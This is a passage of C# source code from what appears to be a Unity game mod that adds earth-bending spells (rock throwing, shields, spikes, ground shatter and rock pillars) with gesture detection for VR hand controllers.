public string imbueHitGroundEffectId;
public float imbueHitGroundConsumption;
public float imbueHitGroundExplosionUpwardModifier;
public float imbueHitGroundRechargeDelay;
public float imbueHitGroundMinVelocity;
public float imbueHitGroundRadius;
public float imbueHitGroundExplosionForce;
public float imbueCrystalUseCost;
public float imbueCrystalShootForce;
private float imbueHitGroundLastTime;
public override void Init()
{
EventManager.onPossess += EventManager_onPossess;
base.Init();
}
private void EventManager_onPossess(Creature creature, EventTime eventTime)
{
if (creature.container.contents.Where(c => c.itemData.id == "SpellEarthItem").Count() <= 0)
creature.container.AddContent(Catalog.GetData<ItemData>("SpellEarthItem"));
if (creature.container.contents.Where(c => c.itemData.id == "SpellEarthFireMerge").Count() <= 0)
creature.container.AddContent(Catalog.GetData<ItemData>("SpellEarthFireMerge"));
if (creature.container.contents.Where(c => c.itemData.id == "SpellEarthIceMerge").Count() <= 0)
creature.container.AddContent(Catalog.GetData<ItemData>("SpellEarthIceMerge"));
if (creature.container.contents.Where(c => c.itemData.id == "SpellMeteorBarrage").Count() <= 0)
creature.container.AddContent(Catalog.GetData<ItemData>("SpellMeteorBarrage"));
if (creature.container.contents.Where(c => c.itemData.id == "LightningStorm").Count() <= 0)
creature.container.AddContent(Catalog.GetData<ItemData>("LightningStorm"));
}
public override void Fire(bool active)
{
base.Fire(active);
if (!active)
{
chargeEffectInstance.Despawn();
}
if (!spellCaster.mana.gameObject.GetComponent<EarthBendingController>())
{
spellCaster.mana.gameObject.AddComponent<EarthBendingController>();
EarthBendingController scr2 = spellCaster.mana.gameObject.GetComponent<EarthBendingController>();
scr2.shieldMinSpeed = shieldMinSpeed;
scr2.shieldItemId = shieldItemId;
scr2.shieldFreezeTime = shieldFreezeTime;
scr2.shieldHealth = shieldHealth;
scr2.shieldPushMul = shieldPushMul;
scr2.pushEffectId = pushEffectId;
scr2.pushMinSpeed = pushMinSpeed;
scr2.pushForce = pushForce;
scr2.rockItemIds = rockItemIds;
scr2.rockForceMul = rockForceMul;
scr2.rockFreezeTime = rockFreezeTime;
scr2.rockHeightFromGround = rockHeightFromGround;
scr2.rockMoveSpeed = rockMoveSpeed;
scr2.rockMassMinMax = rockMassMinMax;
scr2.rockSummonEffectId = rockSummonEffectId;
scr2.punchForce = punchForce;
scr2.punchEffectId = punchEffectId;
scr2.punchAimPrecision = punchAimPrecision;
scr2.punchAimRandomness = punchAimRandomness;
scr2.spikeMinSpeed = spikeMinSpeed;
scr2.spikeEffectId = spikeEffectId;
scr2.spikeRange = spikeRange;
scr2.spikeMinAngle = spikeMinAngle;
scr2.spikeDamage = spikeDamage;
scr2.shatterEffectId = shatterEffectId;
scr2.shatterForce = shatterForce;
scr2.shatterMinSpeed = shatterMinSpeed;
scr2.shatterRadius = shatterRadius;
scr2.shatterRange = shatterRange;
scr2.rockPillarPointsId = rockPillarPointsId;
scr2.rockPillarItemId = rockPillarItemId;
scr2.rockPillarCollisionEffectId = rockPillarCollisionEffectId;
scr2.rockPillarMinSpeed = rockPillarMinSpeed;
scr2.rockPillarLifeTime = rockPillarLifeTime;
scr2.rockPillarSpawnDelay = rockPillarSpawnDelay;
scr2.Initialize();
}
EarthBendingController scr = spellCaster.mana.gameObject.GetComponent<EarthBendingController>();
if (spellCaster.ragdollHand.side == Side.Left)
{
scr.leftHandActive = active;
} else
{
scr.rightHandActive = active;
}
}
public override bool OnImbueCollisionStart(CollisionInstance collisionInstance)
{
base.OnImbueCollisionStart(collisionInstance);
if (collisionInstance.damageStruct.hitRagdollPart)
{
Creature creature = collisionInstance.damageStruct.hitRagdollPart.ragdoll.creature;
if (creature != Player.currentCreature)
{
RagdollPart ragdollPart = collisionInstance.damageStruct.hitRagdollPart;
if (!ragdollPart.GetComponent<EarthBendingRagdollPart>())
{
EarthBendingRagdollPart scr = ragdollPart.gameObject.AddComponent<EarthBendingRagdollPart>();
scr.ragdollPart = ragdollPart;
scr.Initialize();
} else if (collisionInstance.damageStruct.damageType == DamageType.Blunt)
{
if (ragdollPart.data.bodyDamagerData.dismembermentAllowed)
{
creature.ragdoll.TrySlice(ragdollPart);
creature.Kill();
}
}
}
}
return true;
}
public override bool OnCrystalSlam(CollisionInstance collisionInstance)
{
imbue.colliderGroup.collisionHandler.item.StartCoroutine(RockShockWaveCoroutine(collisionInstance.contactPoint, collisionInstance.contactNormal, collisionInstance.sourceColliderGroup.transform.up, collisionInstance.impactVelocity));
imbueHitGroundLastTime = Time.time;
return true;
}
IEnumerator RockShockWaveCoroutine(Vector3 contactPoint, Vector3 contactNormal, Vector3 contactNormalUpward, Vector3 impactVelocity)
{
EffectInstance effectInstance = Catalog.GetData<EffectData>(imbueHitGroundEffectId).Spawn(contactPoint, Quaternion.identity);
effectInstance.Play();
yield return new WaitForSeconds(0.4f);
Collider[] sphereCast = Physics.OverlapSphere(contactPoint, imbueHitGroundRadius);
foreach (Collider collider in sphereCast)
{
if (collider.attachedRigidbody)
{
if (collider.attachedRigidbody.gameObject.layer != GameManager.GetLayer(LayerName.NPC) && imbue.colliderGroup.collisionHandler.rb != collider.attachedRigidbody)
{
//Is item
collider.attachedRigidbody.AddExplosionForce(imbueHitGroundExplosionForce, contactPoint, imbueHitGroundRadius * 2, imbueHitGroundExplosionUpwardModifier, ForceMode.Impulse);
}
if (collider.attachedRigidbody.gameObject.layer == GameManager.GetLayer(LayerName.NPC) || collider.attachedRigidbody.gameObject.layer == GameManager.GetLayer(LayerName.Ragdoll))
{
//Is creature
Creature creature = collider.GetComponentInParent<Creature>();
if (creature != Player.currentCreature && !creature.isKilled)
{
creature.ragdoll.SetState(Ragdoll.State.Destabilized);
collider.attachedRigidbody.AddExplosionForce(imbueHitGroundExplosionForce, contactPoint, imbueHitGroundRadius * 2, imbueHitGroundExplosionUpwardModifier, ForceMode.Impulse);
}
}
}
}
yield return new WaitForSeconds(0.1f);
}
public override bool OnCrystalUse(RagdollHand hand, bool active)
{
Debug.Log("crystal use");
if (!active)
{
Debug.Log("not active");
Rigidbody rb;
if (!imbue.colliderGroup.collisionHandler.item)
{
RagdollPart ragdollPart = imbue.colliderGroup.collisionHandler.ragdollPart;
rb = ((ragdollPart != null) ? ragdollPart.rb : null);
}
else
{
rb = imbue.colliderGroup.collisionHandler.item.rb;
}
rb.GetPointVelocity(imbue.colliderGroup.imbueShoot.position);
if (rb.GetPointVelocity(imbue.colliderGroup.imbueShoot.position).magnitude > SpellCaster.throwMinHandVelocity && imbue.CanConsume(imbueCrystalUseCost))
{
Debug.Log("magnitude good");
imbue.ConsumeInstant(imbueCrystalUseCost);
/*
if (this.imbueUseEffectData != null)
{
this.imbueUseEffectData.Spawn(this.imbue.colliderGroup.imbueShoot, true, Array.Empty<Type>()).Play(0);
}*/
Catalog.GetData<ItemData>("Rock Weapon 1").SpawnAsync(delegate (Item rock)
{
rock.transform.position = imbue.colliderGroup.imbueShoot.position;
rock.transform.rotation = imbue.colliderGroup.imbueShoot.rotation;
rock.IgnoreObjectCollision(imbue.colliderGroup.collisionHandler.item);
rock.rb.AddForce(imbue.colliderGroup.imbueShoot.forward * imbueCrystalShootForce * rb.GetPointVelocity(imbue.colliderGroup.imbueShoot.position).magnitude, ForceMode.Impulse);
rock.Throw(1f, Item.FlyDetection.Forced);
});
return true;
}
}
return false;
}
}
public class EarthBendingRagdollPart : MonoBehaviour
{
public RagdollPart ragdollPart;
private Creature creature;
private List<HumanBodyBones> armLeftBones = new List<HumanBodyBones>(){HumanBodyBones.LeftLowerArm, HumanBodyBones.LeftUpperArm, HumanBodyBones.LeftHand};
private List<HumanBodyBones> armRightBones = new List<HumanBodyBones>() { HumanBodyBones.RightLowerArm, HumanBodyBones.RightUpperArm, HumanBodyBones.RightHand};
public void Initialize()
{
creature = ragdollPart.ragdoll.creature;
RagdollPart.Type type = ragdollPart.type;
RagdollPart.Type feetTypes = RagdollPart.Type.LeftFoot | RagdollPart.Type.RightFoot | RagdollPart.Type.LeftLeg | RagdollPart.Type.RightLeg;
if (feetTypes.HasFlag(type))
{
creature.locomotion.speedModifiers.Add(new Locomotion.SpeedModifier(this, 0,0,0,0,0));
}
RagdollPart.Type armTypesLeft = RagdollPart.Type.LeftArm | RagdollPart.Type.LeftHand;
RagdollPart.Type armTypesRight = RagdollPart.Type.RightArm | RagdollPart.Type.RightHand;
if (armTypesLeft.HasFlag(type) || armTypesRight.HasFlag(type))
{
Side side = Side.Right;
bool check = false;
if (armTypesLeft.HasFlag(type))
{
side = Side.Left;
check = true;
} else if (armTypesRight.HasFlag(type))
{
side = Side.Right;
check = true;
}
if (check)
{
if (creature.equipment.GetHeldHandle(side))
{
foreach (RagdollHand interactor in creature.equipment.GetHeldHandle(side).handlers)
{
if (interactor.creature == creature)
{
interactor.UnGrab(false);
}
}
}
}
}
if (type == RagdollPart.Type.Head || type == RagdollPart.Type.Neck)
{
creature.brain.Stop();
creature.locomotion.speedModifiers.Add(new Locomotion.SpeedModifier(this, 0, 0, 0, 0, 0));
creature.animator.speed = 0f;
}
Player.currentCreature.StartCoroutine(ImbueCoroutine());
}
public void ResetCreature()
{
ragdollPart.rb.constraints = RigidbodyConstraints.None;
creature.locomotion.ClearSpeedModifiers();
if (!creature.brain.instance.isActive)
{
creature.brain.instance.Start();
}
creature.animator.speed = 1f;
}
IEnumerator ImbueCoroutine()
{
creature.OnKillEvent += Creature_OnKillEvent;
List<EffectInstance> effects = new List<EffectInstance>();
foreach (Collider collider in ragdollPart.colliderGroup.colliders)
{
EffectInstance imbueEffect = Catalog.GetData<EffectData>("EarthRagdollImbue").Spawn(ragdollPart.transform);
imbueEffect.SetCollider(collider);
imbueEffect.Play();
imbueEffect.SetIntensity(1f);
effects.Add(imbueEffect);
}
ragdollPart.rb.constraints = RigidbodyConstraints.FreezeRotation;
float startTime = Time.time;
yield return new WaitUntil(() => Time.time - startTime > 30);
ResetCreature();
foreach (EffectInstance imbueEffect in effects)
{
imbueEffect.Stop();
}
Destroy(this);
}
private void Creature_OnKillEvent(CollisionInstance collisionStruct, EventTime eventTime)
{
foreach (RagdollPart ragdollPart in collisionStruct.damageStruct.hitRagdollPart.ragdoll.parts)
{
if (ragdollPart.gameObject.GetComponent<EarthBendingRagdollPart>())
{
EarthBendingRagdollPart scr = ragdollPart.gameObject.GetComponent<EarthBendingRagdollPart>();
scr.ResetCreature();
Destroy(scr);
}
}
}
}
public class EarthBendingController : MonoBehaviour
{
public bool leftHandActive;
public bool rightHandActive;
public float shieldMinSpeed;
public string shieldItemId;
public float shieldFreezeTime;
public int shieldHealth;
public float shieldPushMul;
public float pushMinSpeed;
public string pushEffectId;
public float pushForce;
public List<string> rockItemIds = new List<string>();
public Vector2 rockMassMinMax;
public float rockForceMul;
public float rockFreezeTime;
public float rockHeightFromGround;
public float rockMoveSpeed;
public string rockSummonEffectId;
public float punchForce;
public string punchEffectId;
public float punchAimPrecision;
public float punchAimRandomness;
public string spikeEffectId;
public float spikeMinSpeed;
public float spikeRange;
public float spikeMinAngle;
public float spikeDamage;
public string shatterEffectId;
public float shatterMinSpeed;
public float shatterRange;
public float shatterRadius;
public float shatterForce;
private bool canSpawnShield = true;
private bool canSpawnRockLeft = true;
private bool canSpawnRockRight = true;
private bool canSpawnSpikes = true;
private bool canSpawnShatter = true;
private bool canSpawnPillars = true;
private bool canPush = true;
public float rockPillarMinSpeed;
public string rockPillarPointsId;
public string rockPillarItemId;
public string rockPillarCollisionEffectId;
public float rockPillarLifeTime;
public float rockPillarSpawnDelay;
private bool pushCalled;
private bool wallCalled;
private bool shatterCalled;
private Mana mana;
private Vector3 leftVel;
private Vector3 rightVel;
public static bool GravActive;
public static bool LightningActive;
public static bool IceActive;
public static bool FireActive;
private bool abilityUsed;
private bool handsPointingDown;
private EffectData rockPillarCollisionEffectData;
private EffectData rockPillarPointsData;
private ItemData rockPillarItemData;
private EffectData shatterEffectData;
private EffectData spikeEffectData;
private EffectData rockSummonEffectData;
private EffectData punchEffectData;
private EffectData pushEffectData;
private ItemData shieldItemData;
public void Initialize()
{
mana = Player.currentCreature.mana;
// RockPillarData
rockPillarCollisionEffectData = Catalog.GetData<EffectData>(rockPillarCollisionEffectId);
rockPillarPointsData = Catalog.GetData<EffectData>(rockPillarPointsId);
rockPillarItemData = Catalog.GetData<ItemData>(rockPillarItemId);
// ShatterData
shatterEffectData = Catalog.GetData<EffectData>(shatterEffectId);
// SpikeData
spikeEffectData = Catalog.GetData<EffectData>(spikeEffectId);
// RockData
rockSummonEffectData = Catalog.GetData<EffectData>(rockSummonEffectId);
punchEffectData = Catalog.GetData<EffectData>(punchEffectId);
// PushData
pushEffectData = Catalog.GetData<EffectData>(pushEffectId);
// ShieldData
shieldItemData = Catalog.GetData<ItemData>(shieldItemId);
}
private void Update()
{
leftVel = Player.local.transform.rotation * PlayerControl.GetHand(Side.Left).GetHandVelocity();
rightVel = Player.local.transform.rotation * PlayerControl.GetHand(Side.Right).GetHandVelocity();
if (Vector3.Dot(Vector3.down, mana.casterLeft.magic.forward) > 0.8f && Vector3.Dot(Vector3.down, mana.casterRight.magic.forward) > 0.8f) //Hands are pointing down
{
handsPointingDown = true;
}
else
{
handsPointingDown = false;
}
UpdateValues(); //Bools
if (leftHandActive && rightHandActive)
{
if (!PlayerControl.GetHand(Side.Right).gripPressed && !PlayerControl.GetHand(Side.Left).gripPressed)
{
UpdatePush(); //Push logics
UpdateSpike(); //All the logic for spawning spikes
} else if (PlayerControl.GetHand(Side.Right).gripPressed && PlayerControl.GetHand(Side.Left).gripPressed)
{
UpdateShatter();
UpdateShield(); //Shield logics
UpdateRockPillar();
}
}
UpdateRock(); //All the logic for spawing rocks
}
private void UpdateValues()
{
if (!leftHandActive || !leftHandActive)
{
canSpawnShield = true;
canSpawnSpikes = true;
canSpawnShatter = true;
canPush = true;
if (!leftHandActive)
{
canSpawnRockLeft = true;
}
if (!rightHandActive)
{
canSpawnRockRight = true;
}
}
}
private void UpdateShield()
{
if (wallCalled)
{
wallCalled = false;
}
if (canSpawnShield)
{
if (handsPointingDown) //If hands is pointing down
{
if (Mathf.Abs(Vector3.Dot(-Player.currentCreature.transform.right, mana.casterLeft.magic.up)) < 0.4 && Mathf.Abs(Vector3.Dot(Player.currentCreature.transform.right, mana.casterLeft.magic.up)) < 0.4) //If hands are not to the side
{
if (Vector3.Dot(Vector3.up, leftVel) > shieldMinSpeed && Vector3.Dot(Vector3.up, rightVel) > shieldMinSpeed) //If hands are moving up at a set speed
{
StartCoroutine(SpawnShieldCoroutine());
wallCalled = true;
canSpawnShield = false;
abilityUsed = true;
}
}
}
}
}
private void UpdatePush()
{
if (pushCalled)
{
pushCalled = false;
}
//Push logic
if (Mathf.Abs(Vector3.Dot(Vector3.up, mana.casterLeft.magic.forward)) < 0.3f && Mathf.Abs(Vector3.Dot(Vector3.up, mana.casterRight.magic.forward)) < 0.3f) //If hands are not pointing up or down
{
if (Vector3.Dot(Vector3.up, mana.casterLeft.magic.up) > 0.7f && Vector3.Dot(Vector3.up, mana.casterRight.magic.up) > 0.7f) // Fingers are pointing up
{
if (Vector3.Dot(mana.casterLeft.magic.forward, leftVel) > pushMinSpeed && Vector3.Dot(mana.casterLeft.magic.forward, rightVel) > pushMinSpeed) //Hands are moving forwards
{
if (canPush)
{
canPush = false;
pushCalled = true;
abilityUsed = true;
}
}
}
}
}
private void UpdateSpike()
{
//Spike logic
Vector3 vecBetweenForAndDown = Vector3.Slerp(Vector3.up, Player.currentCreature.transform.forward, 0.5f).normalized; //Get 45 degree angle between up and forwards
if (canSpawnSpikes)
{
if (Vector3.Dot(mana.casterLeft.magic.forward, vecBetweenForAndDown) > 0.7f && Vector3.Dot(mana.casterRight.magic.forward, vecBetweenForAndDown) > 0.7f)
{
if (Vector3.Dot(mana.casterLeft.magic.right, -Player.currentCreature.transform.right) > 0.7 && Vector3.Dot(mana.casterRight.magic.right, -Player.currentCreature.transform.right) > 0.7) //Hand are pointing to the sides
{
if (Vector3.Dot(mana.casterLeft.magic.forward, leftVel) > spikeMinSpeed && Vector3.Dot(mana.casterLeft.magic.forward, rightVel) > spikeMinSpeed) //Hands are moving forwards
{
StartCoroutine(SpikeCoroutine());
canSpawnSpikes = false;
abilityUsed = true;
}
}
}
}
}
private void UpdateRock()
{
if (leftHandActive)
{
if (!PlayerControl.GetHand(Side.Left).gripPressed) //If grip is not pressed
{
if (canSpawnRockLeft)
{
if (Vector3.Dot(Vector3.down, mana.casterLeft.magic.forward) > 0.7f) //If hand is pointing down
{
if (Mathf.Abs(Vector3.Dot(-Player.currentCreature.transform.right, mana.casterLeft.magic.up)) < 0.7) //If hand is not to the side
{
if (Vector3.Dot(Vector3.up, leftVel) > shieldMinSpeed) //If speed is greater than min
{
StartCoroutine(SpawnRockCoroutine(mana.casterLeft));
canSpawnRockLeft = false;
}
}
}
}
}
}
//if only right
if (rightHandActive)
{
if (!PlayerControl.GetHand(Side.Right).gripPressed) //If grip is not pressed
{
if (canSpawnRockRight)
{
if (Vector3.Dot(Vector3.down, mana.casterRight.magic.forward) > 0.7f) //If hand is pointing down
{
if (Mathf.Abs(Vector3.Dot(-Player.currentCreature.transform.right, mana.casterRight.magic.up)) < 0.7) //If hand is not to the side
{
if (Vector3.Dot(Vector3.up, rightVel) > shieldMinSpeed)
{
StartCoroutine(SpawnRockCoroutine(mana.casterRight));
canSpawnRockRight = false;
}
}
}
}
}
}
}
private void UpdateShatter()
{
if (shatterCalled)
{
shatterCalled = false;
}
if (canSpawnShatter)
{
if (handsPointingDown)
{
if (Vector3.Dot(Player.currentCreature.transform.right, mana.casterLeft.magic.right) > 0.8f && Vector3.Dot(Player.currentCreature.transform.right, mana.casterRight.magic.right) > 0.8f)
{
if (Vector3.Dot(mana.casterLeft.magic.up, leftVel) > shatterMinSpeed && Vector3.Dot(mana.casterLeft.magic.up, rightVel) > shatterMinSpeed) // Moving hands forwards
{
StartCoroutine(ShatterCoroutine());
shatterCalled = true;
canSpawnShatter = false;
abilityUsed = true;
}
}
}
}
}
private void UpdateRockPillar()
{
if (canSpawnPillars)
{
if (handsPointingDown)
{
if (Vector3.Dot(mana.casterLeft.magic.forward, leftVel) > rockPillarMinSpeed && Vector3.Dot(mana.casterLeft.magic.forward, rightVel) > rockPillarMinSpeed) // Moving hands forwards down
{
StartCoroutine(PillarDownCoroutine());
canSpawnPillars = false;
abilityUsed = true;
}
}
}
}
IEnumerator PillarDownCoroutine()
{
Vector3 middlePoint = Vector3.Lerp(mana.casterLeft.magic.position, mana.casterRight.magic.position, 0.5f) + Player.currentCreature.transform.forward * 0.25f;
RaycastHit hit;
if (Physics.Raycast(middlePoint, Vector3.down, out hit, Mathf.Infinity, LayerMask.GetMask("Default")))
{
EffectInstance spawnPoints = rockPillarPointsData.Spawn(hit.point, Player.currentCreature.transform.rotation);
foreach (Transform child in spawnPoints.effects[0].transform)
{
rockPillarItemData.SpawnAsync(delegate (Item rockPillar)
{
rockPillar.Throw();
rockPillar.transform.position = child.position;
rockPillar.transform.rotation = child.rotation;
rockPillar.rb.velocity = -Vector3.up * 2;
RockPillarCollision scr = rockPillar.gameObject.AddComponent<RockPillarCollision>();
scr.effectData = rockPillarCollisionEffectData;
StartCoroutine(DespawnItemAfterTime(rockPillarLifeTime, rockPillar));
});
yield return new WaitForSeconds(rockPillarSpawnDelay);
}
yield return new WaitForSeconds(rockPillarLifeTime - (rockPillarSpawnDelay * spawnPoints.effects[0].transform.childCount));
}
canSpawnPillars = true;
}
IEnumerator DespawnItemAfterTime(float delay, Item item)
{
yield return new WaitForSeconds(delay);
item.gameObject.SetActive(false);
yield return new WaitForEndOfFrame();
item.Despawn();
}
IEnumerator ShatterCoroutine()
{
Vector3 middlePoint = Vector3.Lerp(mana.casterLeft.magic.position, mana.casterRight.magic.position, 0.5f) + ((leftVel.normalized + rightVel.normalized) * 0.25f);
RaycastHit hit;
RaycastHit hitEnd;
Vector3 forwards = Player.currentCreature.transform.forward;
if (Physics.Raycast(middlePoint, Vector3.down, out hit, Mathf.Infinity, LayerMask.GetMask("Default")) && Physics.Raycast(middlePoint+forwards*shatterRange, Vector3.down, out hitEnd, 2.5f, LayerMask.GetMask("Default")))
{
EffectInstance shatter = shatterEffectData.Spawn(hit.point, Player.currentCreature.transform.rotation);
shatter.Play();
Collider[] colliders = Physics.OverlapCapsule(hit.point, hit.point + (forwards * shatterRange), shatterRadius);
foreach (Collider collider in colliders)
{
if (collider.attachedRigidbody)
{
if (collider.GetComponentInParent<Creature>())
{
Creature creature = collider.GetComponentInParent<Creature>();
if (creature != Player.currentCreature)
{
if (creature.state == Creature.State.Alive)
{
creature.ragdoll.SetState(Ragdoll.State.Destabilized);
}
StartCoroutine(AddForceInOneFrame(collider.attachedRigidbody, forwards));
}
}
else if (collider.GetComponentInParent<Item>())
{
Item item = collider.GetComponentInParent<Item>();
if (item.mainHandler)
{
if (item.mainHandler.creature != Player.currentCreature)
{
StartCoroutine(AddForceInOneFrame(collider.attachedRigidbody, forwards));
}
}
}
}
}
}
yield return null;
}
IEnumerator AddForceInOneFrame(Rigidbody rb, Vector3 forwards)
{
yield return new WaitForEndOfFrame();
rb.AddForce(shatterForce * (forwards.normalized + Vector3.up), ForceMode.Impulse);
}
IEnumerator SpikeCoroutine()
{
Vector3 middlePoint = Vector3.Lerp(mana.casterLeft.magic.position, mana.casterRight.magic.position, 0.5f) + ((leftVel.normalized + rightVel.normalized) * 0.25f);
RaycastHit hit;
RaycastHit hitEnd;
Vector3 forwards = Player.currentCreature.transform.forward;
if (Physics.Raycast(middlePoint, Vector3.down, out hit, Mathf.Infinity, LayerMask.GetMask("Default")) && Physics.Raycast(middlePoint + forwards * spikeRange, Vector3.down, out hitEnd, 2.5f, LayerMask.GetMask("Default")))
{
/*
for (int i = 0; i < 12; i++)
{
Quaternion shootRot = Quaternion.Euler(forwards + new Vector3(0, UnityEngine.Random.Range(-15, 15)));
GameObject point = new GameObject("SpawnPoint");
point.transform.rotation = shootRot;
point.transform.position = hit.point;
StartCoroutine(SpikeSpawnCoroutine(point));
}*/
EffectInstance spikes = spikeEffectData.Spawn(hit.point, Player.currentCreature.transform.rotation);
spikes.Play();
//Get creatures in front
foreach (Creature creature in Creature.allActive)
{
if (creature != Player.currentCreature)
{
float dist = Vector3.Distance(creature.transform.position, hit.point);
if (dist < spikeRange)
{
Vector3 dir = (creature.transform.position - hit.point).normalized;
if (Vector3.Dot(dir, forwards) > spikeMinAngle)
{
if (creature.state != Creature.State.Dead)
{
creature.ragdoll.SetState(Ragdoll.State.Destabilized);
CollisionInstance collisionStruct = new CollisionInstance(new DamageStruct(DamageType.Pierce, spikeDamage));
creature.Damage(collisionStruct);
//Spawn itemSpike
Catalog.GetData<ItemData>("EarthBendingRockSpikes").SpawnAsync(delegate(Item spike)
{
spike.transform.position = creature.transform.position;
spike.transform.rotation = Player.currentCreature.transform.rotation;
Transform spikeMeshTransform = spike.GetCustomReference("Mesh");
spikeMeshTransform.localScale = new Vector3(.15f, .15f, .15f);
spike.transform.localEulerAngles += new Vector3(35, 0, 0);
spike.Despawn(5f);
});
}
}
}
}
}
}
yield return null;
}
IEnumerator SpawnShieldCoroutine()
{
Vector3 middlePoint = Vector3.Lerp(mana.casterLeft.magic.position, mana.casterRight.magic.position, 0.5f) + Player.currentCreature.transform.forward * 0.7f;
RaycastHit hit;
if (Physics.Raycast(middlePoint, Vector3.down, out hit, Mathf.Infinity, LayerMask.GetMask("Default")))
{
shieldItemData.SpawnAsync(delegate (Item shield)
{
shield.Throw();
shield.StartCoroutine(ShieldSpawnedCoroutine(shield, hit));
}, null, null, null,true);
}
yield return null;
}
private IEnumerator ShieldSpawnedCoroutine(Item shield, RaycastHit hit)
{
shield.AddCustomData<ShieldCustomData>(new ShieldCustomData(shieldHealth));
Vector3 spawnPoint = hit.point;
shield.transform.position = spawnPoint;
shield.transform.rotation = Player.currentCreature.transform.rotation;
Animation shieldAnimation = shield.GetCustomReference("RockAnim").GetComponent<Animation>();
shieldAnimation.Play();
yield return new WaitForSeconds(shieldAnimation.clip.length);
shield.colliderGroups[0].collisionHandler.OnCollisionStartEvent += Shield_OnDamageReceivedEvent;
float startTime = Time.time;
while (Time.time - startTime < shieldFreezeTime)
{
if (pushCalled)
{
//Get forwards
Vector3 forwards = Player.currentCreature.transform.forward;
//Get wall to player direction
Vector3 dir = (shield.transform.position - Player.currentCreature.transform.position).normalized;
//Dot
if (Vector3.Dot(dir, forwards) > 0.6f)
{
StartCoroutine(ShieldPush(shield, (leftVel.normalized + rightVel.normalized)));
break;
}
}
yield return new WaitForEndOfFrame();
}
yield return new WaitUntil(() => Time.time - startTime > shieldFreezeTime);
shield.colliderGroups[0].collisionHandler.OnCollisionStartEvent -= Shield_OnDamageReceivedEvent;
StartCoroutine(DespawnShield(shield));
}
private IEnumerator ShieldPush(Item shield, Vector3 direction)
{
shield.rb.constraints = RigidbodyConstraints.FreezeRotation | RigidbodyConstraints.FreezePositionY;
shield.rb.isKinematic = false;
shield.rb.useGravity = true;
EffectInstance effectInstance = pushEffectData.Spawn(shield.transform.position, Quaternion.identity);
effectInstance.Play();
shield.rb.AddForce(direction * pushForce * shieldPushMul, ForceMode.Impulse);
yield return new WaitForEndOfFrame();
yield return new WaitForEndOfFrame();
yield return new WaitUntil(() => shield.rb.velocity.magnitude < 8f);
shield.rb.constraints = RigidbodyConstraints.None;
shield.rb.isKinematic = true;
shield.rb.useGravity = false;
}
private void Shield_OnDamageReceivedEvent(CollisionInstance collisionStruct)
{
if (collisionStruct.impactVelocity.magnitude > 2)
{
bool l_leftS = (collisionStruct.sourceColliderGroup != null ? collisionStruct.sourceColliderGroup == Player.currentCreature.handLeft.colliderGroup : false);
bool l_leftT = (collisionStruct.targetColliderGroup != null ? collisionStruct.targetColliderGroup == Player.currentCreature.handLeft.colliderGroup : false);
bool l_rightS = (collisionStruct.sourceColliderGroup != null ? collisionStruct.sourceColliderGroup == Player.currentCreature.handRight.colliderGroup : false);
bool l_rightT = (collisionStruct.targetColliderGroup != null ? collisionStruct.targetColliderGroup == Player.currentCreature.handRight.colliderGroup : false);
Item shield = null;
Collider hitCol = null;
if (collisionStruct.targetCollider.GetComponentInParent<Item>())
{
if (collisionStruct.targetCollider.GetComponentInParent<Item>().itemId == shieldItemId)
{
shield = collisionStruct.targetCollider.GetComponentInParent<Item>();
}
} else
{
shield = collisionStruct.sourceCollider.GetComponentInParent<Item>();
}
if (l_leftS || l_rightS)
{
shield = collisionStruct.targetCollider.GetComponentInParent<Item>();
hitCol = collisionStruct.targetCollider;
}
if (l_leftT || l_rightT)
{
shield = collisionStruct.sourceCollider.GetComponentInParent<Item>();
hitCol = collisionStruct.sourceCollider;
}
ShieldCustomData HP;
shield.TryGetCustomData<ShieldCustomData>(out HP);
int OldHP = HP.hp;
if (shield != null)
{
if (OldHP - 1 > 0)
{
if (l_leftS || l_leftT)
{
StartCoroutine(ShieldPush(shield, leftVel.normalized.normalized));
}
if (l_rightS || l_rightT)
{
StartCoroutine(ShieldPush(shield, rightVel.normalized.normalized));
}
}
}
if (Time.time - HP.lastHit > 0.1f)
{
if (OldHP - 1 < 1)
{
StartCoroutine(DespawnShield(shield));
}
else
{
HP.hp = OldHP - 1;
}
HP.lastHit = Time.time;
}
}
}
class ShieldCustomData : ContentCustomData
{
public int hp;
public float lastHit;
public ShieldCustomData(int hp)
{
this.hp = hp;
}
}
IEnumerator DespawnShield(Item shield)
{
ParticleSystem ps = shield.GetCustomReference("ShatterParticles").GetComponent<ParticleSystem>();
ParticleSystem activePS = shield.GetCustomReference("ActiveParticles").GetComponent<ParticleSystem>();
if (!ps.isPlaying) // Only run if it aint playing, fixes multiple calls
{
//disable colliders
foreach (ColliderGroup colliderGroup in shield.colliderGroups)
{
foreach (Collider collider in colliderGroup.colliders)
{
collider.enabled = false;
}
}
//Disable mesh renderer
foreach (Renderer meshRenderer in shield.renderers)
{
meshRenderer.enabled = false;
}
//Play break particles
ps.Play();
//Stop active particles
activePS.Stop();
//Despawn after particles
yield return new WaitForSeconds(ps.main.duration + ps.main.startLifetime.constantMax);
if (shield)
{
shield.Despawn();
}
}
}
IEnumerator SpawnRockCoroutine(SpellCaster spellCasterSide)
{
Vector3 middlePoint = spellCasterSide.transform.position + Player.currentCreature.transform.forward * 0.25f;
RaycastHit hit;
if (Physics.Raycast(middlePoint, Vector3.down, out hit, Mathf.Infinity, LayerMask.GetMask("Default")))
{
Vector3 spawnPoint = hit.point + Vector3.down;
string randRock = rockItemIds[UnityEngine.Random.Range(0, rockItemIds.Count)];
Catalog.GetData<ItemData>(randRock).SpawnAsync(delegate (Item rock)
{
rock.StartCoroutine(RockSpawnedCoroutine(rock, spawnPoint, hit));
}, spawnPoint, Player.currentCreature.transform.rotation, null, false);
}
yield return null;
}
IEnumerator RockSpawnedCoroutine(Item rock, Vector3 spawnPoint, RaycastHit hit)
{
rock.Throw();
rock.rb.mass = UnityEngine.Random.Range(rockMassMinMax.x, rockMassMinMax.y);
rock.transform.position = spawnPoint;
rock.transform.rotation = Player.currentCreature.transform.rotation;
EffectInstance rockSummonEffect = rockSummonEffectData.Spawn(hit.point, Quaternion.identity);
rockSummonEffect.Play();
foreach (ColliderGroup colliderGroup in rock.colliderGroups)
{
foreach (Collider collider in colliderGroup.colliders)
{
collider.enabled = false;
}
}
rock.rb.useGravity = false;
//shield.rb.AddForce(Vector3.up * 60, ForceMode.Impulse);
while (rock.transform.position.y < hit.point.y + ((Player.currentCreature.ragdoll.headPart.transform.position.y - hit.point.y) / rockHeightFromGround))
{
